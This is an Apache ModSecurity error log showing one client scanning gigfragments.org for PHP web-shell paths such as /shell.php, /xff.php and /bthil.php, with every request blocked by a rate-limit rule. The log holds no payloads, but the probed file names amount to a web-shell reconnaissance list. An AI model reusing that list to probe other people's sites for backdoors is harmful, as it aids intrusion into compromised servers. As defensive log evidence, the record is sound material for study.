[Fri Apr 17 04:43:40.009618 2026] [:error] [pid 9153:tid 9237] [client 20.199.113.127:25493] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nwflm.php"] [unique_id "aeFJ_OMHGxkTZX3c45fZkwAAAJM"]
[Fri Apr 17 04:43:40.540622 2026] [:error] [pid 9263:tid 9268] [client 20.199.113.127:54579] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nwflm.php"] [unique_id "aeFJ_BP68VyHNvj1e57KFQAAAMM"]
[Fri Apr 17 04:43:41.038659 2026] [:error] [pid 9263:tid 9279] [client 20.199.113.127:62871] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nwflm.php"] [unique_id "aeFJ_RP68VyHNvj1e57KGQAAAM4"]
[Fri Apr 17 04:43:41.548985 2026] [:error] [pid 9263:tid 9271] [client 20.199.113.127:62879] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nwflm.php"] [unique_id "aeFJ_RP68VyHNvj1e57KHQAAAMY"]
[Fri Apr 17 04:43:42.056215 2026] [:error] [pid 51878:tid 51882] [client 20.199.113.127:25480] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeFJ_knQhUtMbw9EsgYkzQAAAQI"]
[Fri Apr 17 04:43:42.537114 2026] [:error] [pid 9263:tid 9274] [client 20.199.113.127:26022] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeFJ_hP68VyHNvj1e57KIwAAAMk"]
[Fri Apr 17 04:43:43.066327 2026] [:error] [pid 51878:tid 51890] [client 20.199.113.127:51966] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeFJ_0nQhUtMbw9EsgYk1QAAAQo"]
[Fri Apr 17 04:43:43.578066 2026] [:error] [pid 51878:tid 51883] [client 20.199.113.127:51916] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeFJ_0nQhUtMbw9EsgYk3QAAAQM"]
[Fri Apr 17 04:43:44.098433 2026] [:error] [pid 9263:tid 9275] [client 20.199.113.127:51963] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeFKABP68VyHNvj1e57KJwAAAMo"]
[Fri Apr 17 04:43:44.647535 2026] [:error] [pid 9263:tid 9285] [client 20.199.113.127:26037] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeFKABP68VyHNvj1e57KMAAAANQ"]
[Fri Apr 17 04:43:45.145380 2026] [:error] [pid 9153:tid 9242] [client 20.199.113.127:25482] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeFKAeMHGxkTZX3c45fZsQAAAJg"]
[Fri Apr 17 04:43:45.655601 2026] [:error] [pid 9263:tid 9286] [client 20.199.113.127:25519] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "aeFKARP68VyHNvj1e57KNgAAANU"]
[Fri Apr 17 04:43:46.191438 2026] [:error] [pid 9263:tid 9274] [client 20.199.113.127:62183] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeFKAhP68VyHNvj1e57KPAAAAMk"]
[Fri Apr 17 04:43:46.690003 2026] [:error] [pid 9263:tid 9288] [client 20.199.113.127:62876] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeFKAhP68VyHNvj1e57KSAAAANc"]
[Fri Apr 17 04:43:47.205442 2026] [:error] [pid 9263:tid 9278] [client 20.199.113.127:62890] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeFKAxP68VyHNvj1e57KVQAAAM0"]
[Fri Apr 17 04:43:47.746465 2026] [:error] [pid 9151:tid 9182] [client 20.199.113.127:51938] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "aeFKA8hTVuRPkua22vSAJwAAABU"]
[Fri Apr 17 04:43:48.279051 2026] [:error] [pid 9151:tid 9165] [client 20.199.113.127:26020] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "aeFKBMhTVuRPkua22vSAKQAAAAQ"]
[Fri Apr 17 04:43:48.767477 2026] [:error] [pid 9151:tid 9173] [client 20.199.113.127:26045] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "aeFKBMhTVuRPkua22vSALgAAAAw"]
[Fri Apr 17 04:43:49.275994 2026] [:error] [pid 51878:tid 51881] [client 20.199.113.127:51951] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "aeFKBUnQhUtMbw9EsgYlAgAAAQE"]
[Fri Apr 17 04:43:49.809519 2026] [:error] [pid 9263:tid 9271] [client 20.199.113.127:25507] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "aeFKBRP68VyHNvj1e57KZwAAAMY"]
[Fri Apr 17 04:43:50.352800 2026] [:error] [pid 9153:tid 9240] [client 20.199.113.127:25485] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/popo.php"] [unique_id "aeFKBuMHGxkTZX3c45fZyQAAAJY"]
[Fri Apr 17 04:43:50.858565 2026] [:error] [pid 9263:tid 9269] [client 20.199.113.127:54537] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/popo.php"] [unique_id "aeFKBhP68VyHNvj1e57KbwAAAMQ"]
[Fri Apr 17 04:43:51.340445 2026] [:error] [pid 9263:tid 9282] [client 20.199.113.127:62191] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/popo.php"] [unique_id "aeFKBxP68VyHNvj1e57KdwAAANE"]
[Fri Apr 17 04:43:51.816737 2026] [:error] [pid 9152:tid 9199] [client 20.199.113.127:54532] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/popo.php"] [unique_id "aeFKB5JYca8I3TNCwIfw1QAAAEk"]
[Fri Apr 17 04:43:52.296195 2026] [:error] [pid 9153:tid 9238] [client 20.199.113.127:62861] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aeFKCOMHGxkTZX3c45fZzwAAAJQ"]
[Fri Apr 17 04:43:52.767153 2026] [:error] [pid 51878:tid 51901] [client 20.199.113.127:25533] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aeFKCEnQhUtMbw9EsgYlHgAAARU"]
[Fri Apr 17 04:43:53.238203 2026] [:error] [pid 51878:tid 51896] [client 20.199.113.127:62189] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aeFKCUnQhUtMbw9EsgYlJQAAARA"]
[Fri Apr 17 04:43:53.716037 2026] [:error] [pid 9151:tid 9168] [client 20.199.113.127:54591] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "aeFKCchTVuRPkua22vSASAAAAAc"]
[Fri Apr 17 04:43:54.227997 2026] [:error] [pid 9152:tid 9211] [client 20.199.113.127:25498] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aeFKCpJYca8I3TNCwIfw3gAAAFU"]
[Fri Apr 17 04:43:54.733469 2026] [:error] [pid 51878:tid 51884] [client 20.199.113.127:62182] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aeFKCknQhUtMbw9EsgYlLQAAAQQ"]
[Fri Apr 17 04:43:55.212379 2026] [:error] [pid 51878:tid 51901] [client 20.199.113.127:25522] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aeFKC0nQhUtMbw9EsgYlLgAAARU"]
[Fri Apr 17 04:43:55.688986 2026] [:error] [pid 9151:tid 9171] [client 20.199.113.127:25516] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aeFKC8hTVuRPkua22vSAXQAAAAo"]
[Fri Apr 17 04:43:56.201626 2026] [:error] [pid 9151:tid 9169] [client 20.199.113.127:62172] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aeFKDMhTVuRPkua22vSAZwAAAAg"]
[Fri Apr 17 04:43:56.721179 2026] [:error] [pid 51878:tid 51882] [client 20.199.113.127:51953] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aeFKDEnQhUtMbw9EsgYlMwAAAQI"]
[Fri Apr 17 04:43:57.259522 2026] [:error] [pid 9263:tid 9285] [client 20.199.113.127:25501] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aeFKDRP68VyHNvj1e57KoQAAANQ"]
[Fri Apr 17 04:43:57.783006 2026] [:error] [pid 9151:tid 9176] [client 20.199.113.127:62899] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aeFKDchTVuRPkua22vSAawAAAA8"]
[Fri Apr 17 04:43:58.282336 2026] [:error] [pid 51878:tid 51891] [client 20.199.113.127:51931] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/"] [unique_id "aeFKDknQhUtMbw9EsgYlSAAAAQs"]
[Fri Apr 17 04:43:58.791525 2026] [:error] [pid 9153:tid 9237] [client 20.199.113.127:26011] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/"] [unique_id "aeFKDuMHGxkTZX3c45fZ8wAAAJM"]
[Fri Apr 17 04:43:59.333196 2026] [:error] [pid 51878:tid 51901] [client 20.199.113.127:54580] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/"] [unique_id "aeFKD0nQhUtMbw9EsgYlUAAAARU"]
[Fri Apr 17 04:43:59.838454 2026] [:error] [pid 51878:tid 51885] [client 20.199.113.127:54556] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/"] [unique_id "aeFKD0nQhUtMbw9EsgYlVAAAAQU"]
[Fri Apr 17 04:44:00.314741 2026] [:error] [pid 9263:tid 9271] [client 20.199.113.127:36346] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "aeFKEBP68VyHNvj1e57KuwAAAMY"]
[Fri Apr 17 04:44:00.805037 2026] [:error] [pid 9152:tid 9212] [client 20.199.113.127:51954] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "aeFKEJJYca8I3TNCwIfw8gAAAFY"]
[Fri Apr 17 04:44:01.275997 2026] [:error] [pid 9152:tid 9193] [client 20.199.113.127:25999] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "aeFKEZJYca8I3TNCwIfw9wAAAEM"]
[Fri Apr 17 04:44:01.795250 2026] [:error] [pid 9152:tid 9201] [client 20.199.113.127:54542] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "aeFKEZJYca8I3TNCwIfw-wAAAEs"]
[Fri Apr 17 04:44:02.303296 2026] [:error] [pid 51878:tid 51892] [client 20.199.113.127:26014] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aeFKEknQhUtMbw9EsgYlXgAAAQw"]
[Fri Apr 17 04:44:02.823452 2026] [:error] [pid 51878:tid 51898] [client 20.199.113.127:54577] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aeFKEknQhUtMbw9EsgYlZwAAARI"]
[Fri Apr 17 04:44:03.315653 2026] [:error] [pid 51878:tid 51891] [client 20.199.113.127:25521] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aeFKE0nQhUtMbw9EsgYlcwAAAQs"]
[Fri Apr 17 04:44:03.792113 2026] [:error] [pid 51878:tid 51892] [client 20.199.113.127:4581] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aeFKE0nQhUtMbw9EsgYlfwAAAQw"]
[Fri Apr 17 04:44:04.320829 2026] [:error] [pid 9151:tid 9181] [client 20.199.113.127:62192] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tea.php"] [unique_id "aeFKFMhTVuRPkua22vSAewAAABQ"]
[Fri Apr 17 04:44:04.848913 2026] [:error] [pid 51878:tid 51902] [client 20.199.113.127:62886] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tea.php"] [unique_id "aeFKFEnQhUtMbw9EsgYljgAAARY"]
[Fri Apr 17 04:44:05.321465 2026] [:error] [pid 9263:tid 9274] [client 20.199.113.127:36357] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tea.php"] [unique_id "aeFKFRP68VyHNvj1e57K3AAAAMk"]
[Fri Apr 17 04:44:05.805855 2026] [:error] [pid 9153:tid 9225] [client 20.199.113.127:51927] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tea.php"] [unique_id "aeFKFeMHGxkTZX3c45faEQAAAIc"]
[Fri Apr 17 04:44:06.289114 2026] [:error] [pid 51878:tid 51884] [client 20.199.113.127:51921] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seo.php"] [unique_id "aeFKFknQhUtMbw9EsgYloAAAAQQ"]
[Fri Apr 17 04:44:06.773433 2026] [:error] [pid 9263:tid 9283] [client 20.199.113.127:51912] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seo.php"] [unique_id "aeFKFhP68VyHNvj1e57K6QAAANI"]
[Fri Apr 17 04:44:07.284676 2026] [:error] [pid 51878:tid 51900] [client 20.199.113.127:54535] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seo.php"] [unique_id "aeFKF0nQhUtMbw9EsgYlsgAAARQ"]
[Fri Apr 17 04:44:07.824768 2026] [:error] [pid 51878:tid 51892] [client 20.199.113.127:62909] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seo.php"] [unique_id "aeFKF0nQhUtMbw9EsgYlvQAAAQw"]
[Fri Apr 17 04:44:08.325375 2026] [:error] [pid 9152:tid 9211] [client 20.199.113.127:45610] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "aeFKGJJYca8I3TNCwIfxEwAAAFU"]
